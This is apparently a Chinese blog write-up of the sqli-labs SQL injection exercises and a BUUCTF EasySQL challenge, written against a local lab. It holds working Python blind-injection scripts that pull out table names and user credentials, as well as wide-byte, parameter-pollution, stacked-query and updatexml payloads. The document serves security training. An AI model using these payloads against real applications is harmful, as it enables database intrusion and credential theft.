            urll = url + f"?id=1')and(if((ascii(substr((database()),{l},1))={i}),sleep(3),1));%00"
            try:
                response = session.get(url=urll, headers=headers, cookies=cookies, timeout=3)
            except Exception as e:
                database_name += chr(i)
                print(database_name)
                break
    print("当前数据库名:" + database_name)


def time_tables_name():
    print("爆破所有表名...")
    print("    爆破表名长度...")
    session = requests.session()
    tables_len = 0
    tables_name = ""
    while True:
        urll = url + f"?id=1')and(if((length((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))={tables_len},sleep(3),1));%00"
        try:
            response = session.get(url=urll, headers=headers, cookies=cookies, timeout=3)
            tables_len += 1
            print(tables_len)
        except Exception as e:
            break
    print(tables_len)

    print("    爆破表名...")
    for l in range(1,tables_len+1):
        for i in range(32, 129):
            urll = url + f"?id=1')and(if((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{l},1))={i}),sleep(3),1));%00"
            try:
                response = session.get(url=urll, headers=headers, cookies=cookies, timeout=3)
            except Exception as e:
                tables_name += chr(i)
                print(tables_name)
                break
    print("所有表名:" + tables_name)


def bool_tables_name():
    print("爆破所有表名...")
    print("    爆破表名长度...")
    session = requests.session()
    tables_len = 0
    tables_name = ""
    while True:
        urll = url + f"?id=1')and(if((length((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))={tables_len},0,1));%00"
        response = session.get(url=urll, headers=headers, cookies=cookies)
        tables_len += 1
        if "Your Login name:" not in response.content.decode():        
            break
    print("表名长度" + str(tables_len))

    print("    爆破表名...")
    for l in range(1,tables_len+1):
        for i in range(32, 129):
            urll = url + f"?id=1')and(if((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{l},1))={i}),0,1));%00"
            response = session.get(url=urll, headers=headers, cookies=cookies)
            if "Your Login name:" not in response.content.decode():
                tables_name += chr(i)
                print(tables_name)
                break
    print("所有表名:" + tables_name)

if __name__ == "__main__":
    bool_tables_name()

WAF

Less-29有两个页面可以注入:这里WAF应该是在 login.php页面,index.php就是一个简单的联合查询

​ Less-29 index.php页面:'闭合,过滤了#注释,但是没有过滤--+,页面有回显,直接联合查询

​ Less-29 login.php页面:'闭合

login.php关键代码:我们需要绕过 whitelist 函数,所有 $id1 应当为数字;所以我们用:?id=1&id=0'来绕过:

Poc:?id=0&id=0' union select 1,2,3--+

<?php
if(isset($_GET['id'])) {
	$qs = $_SERVER['QUERY_STRING']; //获取url?后面的值
	$hint=$qs;
	$id1=java_implimentation($qs);
	$id=$_GET['id'];
	whitelist($id1);
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	
} else { echo "Please input the ID as parameter with numeric value";}

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input) {
	$match = preg_match("/^\d+$/", $input); //匹配数字
	if(!$match) //如果不是数字,则跳转到错误页面
	{	
		header('Location: hacked.php');
	}
}

// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string) {
	$q_s = $query_string;
	$qs_array= explode("&",$q_s); //使用 & 去分割$q_s字符串,得到子串数组;eg:1&2&3 ==>[1,2,3]
	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id") //子串前两个字母为id
		{
			$id_value=substr($value,3,30); //把id后面的值返回
			return $id_value;
			break;
		}
	}
}
?>

Less-30:"闭合,然后跟Less-29一样有两个页面,其他利用方式也是一样的

Less-31:")闭合,然后跟Less-29一样有两个页面,其他利用方式也是一样的

宽字节注入

基础概念

先了解一下什么是窄、宽字节已经常见宽字节编码:

  • 当某字符的大小为一个字节时,称其字符为窄字节.
  • 当某字符的大小为两个字节时,称其字符为宽字节.
  • 所有英文默认占一个字节,汉字占两个字节
  • 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等

为什么会产生宽字节注入,其中就涉及到编码格式的问题了,宽字节注入主要是源于程序员设置数据库编码与PHP编码为不同的两种编码格式从而导致产生宽字节注入

如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,会使用一些方式将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用但添加的字符的ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意。

例题

Less-32:可以看到对输入的 id 的/'"进行了转义处理;但是下面设置了mysql_query("SET NAMES gbk");即gbk编码格式,所以在查询的时候,我们可以输入一个ascii码大于128的字符 %df 在相应的字符前面从而导致%df/组成一个汉字,即可绕过转义

<?php
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);              //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);               //escape double quote with a backslas     
    return $string;
}

if(isset($_GET['id']))
{
	$id=check_addslashes($_GET['id']);
	mysql_query("SET NAMES gbk");
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
}
?>
测试闭合方式:'闭合
?id=1%df'  ==> 报错信息:''1運'' LIMIT 0,1' at line 1 ==> 单引号'闭合
order by,union select....其他的就是普通的联合查询了

但是查字段名的时候小心,因为我们要对表名加上’ ‘,所以这样就不行了,因为如果宽字节的话,表名就变了;所以这里我们就表名进行16进行编码进行绕过

查字段名:hex(users) = 0x7573657273
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+ 

Less-33:与Less-32一模一样,只是Less-33使用 addslashes()函数进行转义处理

Less-34:post 方式,也是addslashes()对输入的用户名和密码进行了过滤,也是宽字节注入;但是非常怪异的是,我用 %df 不行了,最后看网上得用才行

username:1�' union select 1,2#

部分源码:

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";     

Less-35:addslashes()对 id 进行转义,宽字节,数值型注入;所以查字段名的时候注意一下即可

Less-36:mysql_real_escape_string对 id 进行转义,宽字节,'闭合

?id=0%df' union select 1,2,3--+

Less-37:post 方式,mysql_real_escape_string对用户名和密码进行转义,宽字节,'闭合,请使用

username:1�' union select 1,2#

堆叠注入

原理

mysql 数据库 sql 语句的默认结束符是以;号结尾,在执行多条 sql 语句时就要使用结束符;隔开;而堆叠注入其实就是通过结束符;来执行多条 sql 语句。例如下图,我们直接执行了两条语句:

条件

  • 目标存在sql注入漏洞
  • 目标未对;号进行过滤
  • 目标中间层查询数据库信息时可同时执行多条sql语句:比如 php 中mysqli_multi_query()函数,与之对应的mysqli_query()函数一次只能执行一条sql语句

堆叠注入比联合查询注入要更强,因为堆叠注入可以执行任意语句,但条件也更为苛刻。

例题

Less-38:'闭合;这题其实可以直接联合查询;但是也可以堆叠注入,我们可以执行任意语句,可以向数据库里面插入数据等等

我们利用先利用联合查询把表名,字段名查出来,然后利用堆叠注入向数据库里面插入一条数据:

插入数据
?id=1';insert into users(id,username,password) values ('40','xiaozaya','123456')--+

可以看到我们的数据已经成功插入到数据库中了

Less-39:数值型注入,其他的与Less-38一样

Less-40:index.php页面:')闭合,其他的跟Less-38一样

Less-41:跟Less-39一模一样,只是没有报错信息,所以代码审计发现是数值型注入<>_<>

Less-42:代码审计知道,这个题的修改密码的页面存在与 update 那个题一样的错误;但是这里我们没有办法创建账号了

而在登录页面:'闭合,对 username 进行的转义,但是对 password 没有进行转义,也没有宽字符注入,所以我们就只能从 password 入手了;这里存在堆叠注入,所以我们直接插入一条数据到数据库里面即可。

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
/* execute multi query */
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
username:1
password:1';insert into users(id,username,password) values ('41','Less-42','123456');#

Less-43:')闭合,其他的与Less-42一样

username:1
password:1');insert into users(id,username,password) values ('43','Less-43','123456');#

Less-44:与Less-42相同

Less-45:与Less-43相同

其他题目

Less-3:?id=2'报错: ''2'') LIMIT 0,1' at line 1==>可以看出')闭合

Less-4:?id=2"报错: '"2"") LIMIT 0,1' at line 1==>可以看出")闭合

Less-6:"闭合,与Less-5一样,报错注入

Less-8:'闭合,与Less-7一样,布尔盲注,脚本稍微改一改就可以跑了

Less-10:"闭合,时间盲注

Less-11:post 方式,跟 get 方式差不多

判断闭合方式:usename:1’,password为空:页面报错,可以推测sql语句为: username=’username’ and password=’password’ limit 0,1;

代码审计sql语句为:@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

我们可以使用联合查询,但是使用报错注入更快:

#表名
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3)#

#字段名
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3)#

#字段值
1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),3)#
1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 2,1),0x7e),3)#
1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 3,1),0x7e),3)#
......

Less-12:post方式,")闭合,报错注入

Less-13:post方式,')闭合,报错注入

Less-14:post方式,"闭合,报错注入

Less-15:无报错,万能密码1' or 1=1#可以成功登录,页面有变化,布尔盲注

脚本如下:这里使用or,因为我们知道正确的用户名,所以用 or ,前面为假,就会检验后面

import requests
from urllib import parse
url = "http://127.0.0.1/sqli-labs/Less-15/"

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
}

cookie = {
    "PHPSESSID":"ii64agl5dshuhsm9f7r6q27rt5",
    "security":"impossible"
}

session = requests.session()
database_name = ""
#爆破库名:security
"""
print("爆破数据库名....")
for l in range(1,9):
    for i in range(32, 128):
        data = {
            "uname":f"1' or ascii(substr((select database()),{l},1))={i}#",
            "passwd":"1",
        }
        response= session.post(url=url, data=data, headers=headers, cookies=cookie)
        if "flag.jpg" in response.content.decode():
            database_name += chr(i)
            print(database_name)
            break
"""

#爆破所有表名长度:29
"""
l = 0
print("爆破表名长度...")
while True:
    data = {
        "uname":f"1' or length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={l}#",
        "passwd":"1"
    }
    response = session.post(url=url, data=data, headers=headers, cookies=cookie)
    if "flag.jpg" in response.content.decode():
        break
    l += 1
print(l)
"""

#爆破所有表名:emails,referers,uagents,users
"""
tables_name = ""
print("爆破表名...")
for k in range(1,30):
    for i in range(32, 128):
        data = {
            "uname":f"1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{k},1))={i}#",
            "passwd":"1"
        }
        response = session.post(url=url, data=data, headers=headers, cookies=cookie)
        if "flag.jpg" in response.content.decode():
            tables_name += chr(i)
            print(tables_name)    
            break
"""

#爆破字段长度:20
"""
column_len = 0
print("爆破字段长度...")
while True:
    data = {
        "uname":f"1' or length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))={column_len}#",
        "passwd":"1"
    }
    response = session.post(url=url, data=data, headers=headers, cookies=cookie)
    if "flag.jpg" in response.content.decode():
        break
    column_len += 1
print(column_len)
"""

#爆破字段名:id,username,password
"""
columns_name = ""
print("爆破表名...")
for k in range(1,21):
    for i in range(32, 128):
        data = {
            "uname":f"1' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{k},1))={i}#",
            "passwd":"1"
        }
        response = session.post(url=url, data=data, headers=headers, cookies=cookie)
        if "flag.jpg" in response.content.decode():
            columns_name += chr(i)
            print(columns_name)    
            break
"""

#爆破所有内容长度

ll = 0
print("爆破所有内容长度...")
while True:
    data = {
        "uname":f"1' or length((select group_concat(username,0x7e,password) from users))={ll}#",
        "passwd":"1"
    }
    response = session.post(url=url, data=data, headers=headers, cookies=cookie)
    if "flag.jpg" in response.content.decode():  
        break
    ll += 1
print(ll)


#爆破字段内容
user_pass = ""
print("爆破字段内容...")
for k in range(1,ll+1):
    for i in range(32, 128):
        data = {
            "uname":f"1' or ascii(substr((select group_concat(username,0x7e,password) from users),{k},1))={i}#",
            "passwd":"1"
        }
        response = session.post(url=url, data=data, headers=headers, cookies=cookie)
        if "flag.jpg" in response.content.decode():
            user_pass += chr(i)
            print(user_pass)    
            break

Less-16:无报错,万能密码1“) or 1=1#可以成功登录,页面有变化,布尔盲注;把Less-15的脚本改改即可

order by 46–53

Less-46:页面有报错,这里是给 order by 传值,所以不能联合查询了,可以报错注入

$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
print_r(mysql_error()); //报错注入捏
利用方式:
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),3)--+

Less-47:'闭合,其他的与Less-46一样

?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),3)--+

Less-48:与Less-46一样,但是没有报错,所以可以时间盲注

?sort=1 and if(length(database())=8,sleep(5),1)--+

Less-49:与Less-47一样,但是没有报错,所以可以时间盲注

Less-50:与Less-46一样,且有堆叠注入

Less-51:与Less-47一样,且有堆叠注入

Less-52:与Less-48一样,且有堆叠注入

Less-53:与Less-49一样,且有堆叠注入

where 54–65

Less-54:'闭合,有回显联合查询

Less-55:)闭合,有回显联合查询

Less-56:')闭合,有回显联合查询

Less-57:"闭合,有回显联合查询

Less58-62:闭合点自己找,报错注入

Less62-65:盲注

CTF 中的骚操作

BUUCTF - [SUCTF 2019]EasySQL

考点:堆叠注入,||运算符的意义转换(操作符重置,短路算法)

题目页面:输入非0数字,页面输出Array ( [0] => 1 )、否则无输出

',"等等都试过了,页面也没有报错,也没有回显;尝试堆叠注入

1;show databases; ==> 所有数据库名
1;select database(); ==> 当前数据库名:CTF
1;select tables; ==> 当前数据库的表名:Flag
1;show columns from Flag; ==> Flag表字段名==>页面输出Nonono.==> 猜测有过滤
验证过滤字符:
1;columns; ==> 页面正常
1;from; ==> 页面输出Nonono.==> from被过滤
1;Flag; ==> 页面输出Nonono.==> Flag被过滤

大的来捏

回想最开始我们输入的非0数字和0与字母所回显的内容:非0数字回显1,0和字母不会回显任何内容;

||操作符:在MySQL中,操作符||表示“或”逻辑:

c1 || c2:c1和c2其中一侧为1则取1,否则取0;且只有c1为假,才会检查c2

这里猜测后端语句,因为只有输入非0数字时才会回显1,而0和其他字符无回显,所以猜测逻辑大致是这样的:

大胆猜测后端(内部查询语句)语句中有||操作符,只有输入非0数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 || 一个列名 from 表名。(select 输入数据 || flag from Flag)

方法一

从这里可以找到解题方法:既然要找到flag,后端又存在“或” 的逻辑,那么只需要把 或 的逻辑改成 连接符 的作用就可以了。

这里需要借用到:设置 sql_mode=PIPES_AS_CONCAT 来转换操作符的作用。(sql_mode设置)

利用PIPES_AS_CONCAT令||起到连接符的作用。

构建payload:1;set sql_mode=PIPES_AS_CONCAT;select 1

这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag

方法二

构建payload:*,1

猜测后端语句是select 输入内容 || flag from Flag,输入*,1就相当于构造了select *,1||flag from Flag,这条语句执行起来相当于select *,1 from Flag

拓展:

PIPES_AS_CONCAT:将 || 视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似.

select 1 from :建立一个临时列,这个列的所有初始值都被设为1。

参考文章:

https://www.jianshu.com/p/3fe7904683ac


文章作者: XiaozaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaozaYa !
  目录